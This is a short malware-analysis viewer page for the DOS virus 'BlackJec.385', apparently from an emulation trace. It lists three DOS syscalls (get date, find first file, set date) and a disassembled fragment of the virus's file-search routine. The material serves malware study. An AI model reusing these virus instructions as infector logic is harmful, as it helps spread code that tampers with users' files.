Sample viewer

vx.netlux.org/Virus.DOS.BlackJec.385

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:13.990510678Z 42 PC: 12b8a | Get date 0x12b8a: mov word ptr [0x102], dx
0x12b8e: mov word ptr [0x104], cx
0x12b92: stc
0x12b93: mov dx, 0x278
0x12b96: mov ah, 0x4e
0x12b98: mov cx, 0x20
0x12b9b: int 0x21
0x12b9d: or ax, ax
0x12b9f: je 0x12ba4
0x12ba1: jmp 0x12c79
0x12ba4: mov ah, 0x2f
0x12ba6: int 0x21
0x12ba8: mov ax, word ptr es:[bx + 0x1a]
0x12bac: mov word ptr [0x10c], ax
0x12baf: add bx, 0x1e
0x12bb2: mov word ptr [0x10e], bx
0x12bb6: mov ax, 0x4f43
0x12bb9: sub ax, word ptr [0x9e]
0x12bbd: jne 0x12bc2
0x12bbf: jmp 0x12c6d
2018-12-17T22:52:13.993343039Z 78 PC: 12b9d | Find first file
2018-12-17T22:52:13.998798187Z 43 PC: 12c85 | Set date